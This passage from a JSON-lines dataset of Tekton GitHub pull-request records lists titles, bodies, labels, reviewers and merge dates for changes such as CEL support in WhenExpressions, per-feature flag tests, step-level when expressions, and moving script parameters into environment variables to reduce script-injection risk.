0, "discovered_via": "tep_file_link", "files_changed": 203, "labels": ["approved", "lgtm", "size/XS", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": "2023-10-19T19:59:30Z", "pr_number": 7245, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["QuanZhang-William", "Yongxuanzhang", "jerop"], "title": "[TEP-0145] Pull in cel-go to vendor"} +{"additions": 292, "body": "\r\n\r\n# Changes\r\n\r\nThis commit is the 2nd PR of [TEP-0145](https://github.com/tektoncd/community/blob/main/teps/0145-cel-in-whenexpression.md) tracking issue is https://github.com/tektoncd/pipeline/issues/7244.\r\n\r\nThis commit adds `CEL` field to the `WhenExpression`, a feature flag `enable-cel-in-whenexpression` to guard the new api field.\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-10-19T19:18:57Z", "deletions": 54, "discovered_via": "tep_file_link", "files_changed": 22, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note-none"], "linked_issues": [], "merged_at": "2023-10-20T21:13:31Z", "pr_number": 7247, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chitrangpatel", "jerop"], "title": "[TEP-0145] Add CEL field to WhenExpression, and feature flag to guard the field"} +{"additions": 113, "body": "\r\n\r\n# Changes\r\n\r\n\r\n3rd PR of [TEP-0145](https://github.com/tektoncd/community/blob/main/teps/0145-cel-in-whenexpression.md) tracked by https://github.com/tektoncd/pipeline/issues/7244.\r\n\r\nThis commit adds sanity check for CEL expression by pre-compiling the\r\nCEL expression at admission webhook without evluation. This can help\r\nfail fast if the CEL expression is invalid. And also disallow the usage\r\nof variable references without wrapper with single quotes and prevent\r\nCEL injection from variables.\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-10-20T17:30:48Z", "deletions": 5, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note-none"], "linked_issues": [], "merged_at": "2023-10-23T15:09:32Z", "pr_number": 7251, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "jerop", "vdemeester"], "title": "[TEP-0145] Add sanity check for CEL expression"} +{"additions": 750, "body": "\r\n\r\n\r\n# Changes\r\n\r\n4th PR of [TEP-0145](https://github.com/tektoncd/community/blob/main/teps/0145-cel-in-whenexpression.md) tracked by https://github.com/tektoncd/pipeline/issues/7244.\r\n\r\nThis commit adds CEL evaluation. Users are able to use CEL in WhenExpression if the feature flag enable-cel-in-whenexpression is enabled.If the evluation is false, the PipelineTask will be skipped.\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nSupport CEL expression in WhenExpression to guard the execution of Tasks\r\n```\r\n", "created_at": "2023-10-21T18:50:43Z", "deletions": 17, "discovered_via": "tep_file_link", "files_changed": 17, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2023-10-26T07:37:33Z", "pr_number": 7255, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chitrangpatel", "jerop", "vdemeester"], "title": "[TEP-0145] Add CEL evaluation"} +{"additions": 221, "body": "\r\n\r\n\r\n# Changes\r\n\r\nAllow specifying parameters, task results, or context variables in a `displayName`.\r\n\r\n```\r\nspec:\r\nparams:\r\n - name: git-repo\r\n tasks:\r\n - name: scan\r\n displayName: \"Code Scan for $(params.git-repo)\"\r\n taskRef:\r\n name: sonar-scan\r\n```\r\n\r\nSpecifying task results in a `displayName` does not introduce a resource dependency. Pipeline authors have to specify resource dependency using `runAfter` or task `params`.\r\n\r\n/kind feature\r\n\r\nFixes #7200 \r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\ndisplayName can now accept params, task result references, or context variables.\r\n```\r\n", "created_at": "2023-10-25T03:53:51Z", "deletions": 78, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [7200], "merged_at": "2023-10-26T13:57:33Z", "pr_number": 7273, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "jerop", "pritidesai"], "title": "parameterize pipelineTask `displayName` "} +{"additions": 531, "body": "\r\n\r\n# Changes\r\nNow that we have more per-feature flags in place, this PR adds the \r\nper feature flag test. It currently utilize minimum end-to-end tests for\r\nstable features while mocking stable, beta and alpha stability with\r\ndifferent test envs.\r\n\r\nCurrently this runs ~ 970s for my local env with 4 per-feature flags,\r\nwhich is a reasonable amount since we are likely to be able to have a max\r\nof ~ 12 flags within the timeframe of 60mins.\r\n\r\n/kind misc\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2024-01-31T15:08:42Z", "deletions": 16, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["approved", "lgtm", "size/XL", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": "2024-02-09T15:05:20Z", "pr_number": 7627, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "Per-feature Flag Test Suite"} +{"additions": 73, "body": "\r\n\r\n\r\n# Changes\r\nThis commit uses the Per-feature flag struct for features added in between the window that the changes per TEP0138 was made. All new features should conform to the new Per-feature flag struct.\r\n\r\n/kind misc\r\nfixes: #7285\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2024-02-05T16:03:31Z", "deletions": 18, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/M", "release-note-none", "kind/misc"], "linked_issues": [7285], "merged_at": "2024-02-12T19:53:21Z", "pr_number": 7633, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang"], "title": "TEP-0138 New features to use Per-feature flag struct"} +{"additions": 5, "body": "\r\n\r\n# Changes\r\n\r\nThis commit updates the e2e test script for per feature flag test.\r\n\r\n/kind misc\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] [pre-commit](https://github.com/tektoncd/pipeline/blob/main/DEVELOPMENT.md#install-tools) Passed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2024-02-12T13:47:46Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["approved", "lgtm", "size/XS", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": "2024-02-16T18:57:21Z", "pr_number": 7657, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang"], "title": "Update e2e-test script for per-feature flag test"} +{"additions": 4, "body": "/kind documentation\r\n\r\n\r\n\r\n# Changes\r\nThis commit adds feature flags recording demo for developer guide.\r\n\r\n/kind documentation\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [n/a] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] [pre-commit](https://github.com/tektoncd/pipeline/blob/main/DEVELOPMENT.md#install-tools) Passed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [n/a] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [n/a] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2024-02-13T15:47:13Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["approved", "lgtm", "size/XS", "kind/documentation", "release-note-none"], "linked_issues": [], "merged_at": "2024-02-21T16:31:25Z", "pr_number": 7662, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang"], "title": "Add feature flags recording demo for developer guide"} +{"additions": 1910, "body": "\r\n\r\n# Changes\r\nThis PR introduces the use of \"when\" expressions within Tekton steps, enabling conditional execution. The controller marshals the taskSpec.steps[*].when data and passes it to the entrypointer. The entrypointer evaluates these expressions to determine if a step should run. Skipped steps exit with code 0 and a 'Skipped' TerminationReason. This approach allows steps to use previous step results in their conditions, even though the controller still creates the container for skipped steps.\r\n\r\nNote: StepAction doesn't own whenExpressions, whenExpressions should be defined under `steps[*]` to control the flow. \r\n\r\n# fixes: #7623\r\n\r\n## Related \r\n - tep: https://github.com/tektoncd/community/pull/1147 \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] [pre-commit](https://github.com/tektoncd/pipeline/blob/main/DEVELOPMENT.md#install-tools) Passed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n introduce when expressions to steps.\r\n```\r\n\r\n/kind feat\r\n", "created_at": "2024-03-11T17:49:32Z", "deletions": 344, "discovered_via": "tep_file_link", "files_changed": 33, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [7623], "merged_at": "2024-07-03T13:19:28Z", "pr_number": 7746, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "chitrangpatel", "ericzzzzzzz", "khrm", "vdemeester"], "title": "feat: introduce when expressions to steps"} +{"additions": 250, "body": "# Changes\r\nallow task to be cancelled if a parallel task fails #7880\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] [pre-commit](https://github.com/tektoncd/pipeline/blob/main/DEVELOPMENT.md#install-tools) Passed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n\r\n/kind feature\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nfail-fast for PipelineRun\r\n```\r\n", "created_at": "2024-05-26T10:43:47Z", "deletions": 10, "discovered_via": "tep_file_link", "files_changed": 15, "labels": ["kind/feature", "do-not-merge/hold", "size/L", "release-note", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 7987, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["waveywaves"], "title": "support `fail-fast` for PipelineRun"} +{"additions": 156, "body": "\r\n\r\n\r\n\r\n# Changes\r\n\r\n\r\nAs justified in TEP https://github.com/tektoncd/community/pull/1155, this PR adds `isBuildArtifact` field to Artifacts.\r\nThis field will allow Tekton Chains to understand user's desire and appropriate add the artifact as a subject or a byProduct in the SLSA provenance.\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] [pre-commit](https://github.com/tektoncd/pipeline/blob/main/DEVELOPMENT.md#install-tools) Passed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdd `isBuildArtifact` field to Artifacts.\r\n```\r\n/kind feature", "created_at": "2024-07-08T15:59:06Z", "deletions": 28, "discovered_via": "tep_file_link", "files_changed": 12, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2024-07-24T23:11:41Z", "pr_number": 8103, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["JeromeJu", "chitrangpatel", "wlynch"], "title": "Add isBuildArtifact field to Artifacts"} +{"additions": 72, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nToday, the tasks and pipelines in ci/interceptors use parameters in the scripts which are interpolated.\r\n\r\nAs described in #971, this is fragile and poses a security risk.\r\n\r\nIn this change, we migrate to using environment variables which are not interpolated in scripts.\r\n\r\n* [x] ./tekton/ci/interceptors/add-pr-body/tekton/publish.yaml:\r\n* [x] ./tekton/ci/interceptors/add-pr-body/tekton/release-pipeline.yaml:\r\n* [x] ./tekton/ci/interceptors/add-team-members/tekton/publish.yaml:\r\n* [x] ./tekton/ci/interceptors/add-team-members/tekton/release-pipeline.yaml:\r\n\r\nRelated issue: #971\r\n\r\ncc @sbwsg \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._", "created_at": "2021-12-22T17:21:35Z", "deletions": 38, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["lgtm", "approved", "size/L"], "linked_issues": [], "merged_at": "2021-12-23T16:36:56Z", "pr_number": 973, "repo": "plumbing", "review_decision": "APPROVED", "reviewer_logins": ["dibyom"], "title": "CI Interceptors: Use Environment Variables instead of Parameters"} +{"additions": 8, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nToday, the tasks and pipelines in ci/jobs use parameters in the scripts which are interpolated.\r\n\r\nAs described in #971, this is fragile and poses a security risk.\r\n\r\nIn this change, we migrate to using environment variables which are not interpolated in scripts.\r\n\r\n* [x] ./tekton/ci/jobs/tekton-catalog-catlin-lint.yaml:\r\n* [x] ./tekton/ci/jobs/tekton-image-build.yaml:\r\n* [x] ./tekton/ci/jobs/tekton-kind-label.yaml:\r\n\r\nRelated issue: #971\r\n\r\ncc @sbwsg \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._", "created_at": "2021-12-22T19:58:13Z", "deletions": 2, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/S"], "linked_issues": [], "merged_at": "2021-12-23T16:39:56Z", "pr_number": 974, "repo": "plumbing", "review_decision": "APPROVED", "reviewer_logins": ["dibyom"], "title": "CI Jobs: Use Environment Variables instead of Parameters"} +{"additions": 16, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nToday, the tasks and pipelines in ci/shared use parameters\r\nin the scripts which are interpolated.\r\n\r\nAs described in tektoncd#971, this is fragile and poses a security risk.\r\n\r\nIn this change, we migrate to using environment variables which\r\nare not interpolated in scripts.\r\n\r\n* [x] ./tekton/ci/shared/common-tasks.yaml:\r\n\r\ncc @sbwsg \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._", "created_at": "2021-12-22T21:14:37Z", "deletions": 6, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/S"], "linked_issues": [], "merged_at": "2021-12-23T16:53:56Z", "pr_number": 975, "repo": "plumbing", "review_decision": "APPROVED", "reviewer_logins": ["dibyom"], "title": "CI Shared: Use Environment Variables instead of Parameters"} +{"additions": 11, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nToday, the tasks and pipelines in ci/shared use parameters in the scripts which are interpolated.\r\n\r\nAs described in #971, this is fragile and poses a security risk.\r\n\r\nIn this change, we migrate to using environment variables which are not interpolated in scripts.\r\n\r\n* [x] ./tekton/mario-bot/mario-github-comment.yaml:\r\n\r\ncc @sbwsg \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._", "created_at": "2021-12-22T21:27:40Z", "deletions": 4, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/S"], "linked_issues": [], "merged_at": "2021-12-23T16:54:56Z", "pr_number": 976, "repo": "plumbing", "review_decision": "APPROVED", "reviewer_logins": ["dibyom"], "title": "Mario Bot: Use Environment Variables instead of Parameters"} +{"additions": 185, "body": "# Changes\r\n\r\nPrior to this commit we had several script blocks using the syntax\r\n`$(params.foo)` to pull in param values. As per https://github.com/tektoncd/plumbing/issues/971\r\nit is advised to pull these usages into environment variables to\r\nimprove robustness (unexpected characters in param values like quotes and ampersands\r\ncan cause confusing issues when a script runs) and to remove\r\none avenue of script injection in scenarios when a param includes\r\nuser-submitted content.\r\n\r\nThis PR patches resources in the cd, images, nightly-release,\r\nnightly-tests and release/base directories to move param referencing\r\ninto environment variables.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md)\r\nfor more details._", "created_at": "2021-12-22T21:55:54Z", "deletions": 81, "discovered_via": "tep_file_link", "files_changed": 12, "labels": ["lgtm", "approved", "size/L", "kind/misc"], "linked_issues": [], "merged_at": "2022-01-06T18:40:10Z", "pr_number": 977, "repo": "plumbing", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "jerop"], "title": "Sanitize param usage in some plumbing task script blocks"} +{"additions": 54, "body": "\r\n\r\n\r\n# Changes\r\nThis commit adds the prow setup for feature flag tests.\r\n\r\n/kind misc\r\nfixes: #1629\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md)\r\nfor more details._", "created_at": "2024-02-12T13:51:54Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/M", "kind/misc"], "linked_issues": [1629], "merged_at": "2024-02-13T14:53:20Z", "pr_number": 1803, "repo": "plumbing", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "dibyom", "vdemeester"], "title": "Add Prow setup for feature flag tests"} +{"additions": 150, "body": "Add git revision resolution support in Git Resolver\r\n\r\nPrior to this change, users need to specify git commit or branch fields when using git resolver. This commits replaces the ```commit``` and ```branch``` with ```revision``` fields, which support git ```commit```, ```branch``` and ```tag```. This change extends the usability of git resolver and also provides a better user experience.", "created_at": "2022-07-27T20:26:04Z", "deletions": 127, "discovered_via": "tep_file_link", "files_changed": 8, "labels": ["size/L", "approved", "lgtm"], "linked_issues": [], "merged_at": "2022-08-08T18:22:49Z", "pr_number": 75, "repo": "resolution", "review_decision": "APPROVED", "reviewer_logins": ["jerop"], "title": "TEP-0115: Add git revision resolution support in Git Resolver"} +{"additions": 725, "body": "Sorry for the large PR here \ud83d\ude4f It was difficult to break up the API changes from the DB changes unless we want to go through multiple iterations of migrations. If I can do anything to make this review easier just let me know!\r\n\r\n---\r\n\r\nThis commit implements JSON serialized Records\r\nhttps://github.com/tektoncd/community/blob/main/teps/0072-results-json-serialized-records.md.\r\nThis changes the format of the stored Record data from an google.protobuf.Any\r\nproto to our own proto type that expects JSON serialized data. This is\r\nintended to:\r\n\r\n1. Make it easier for us to store complete 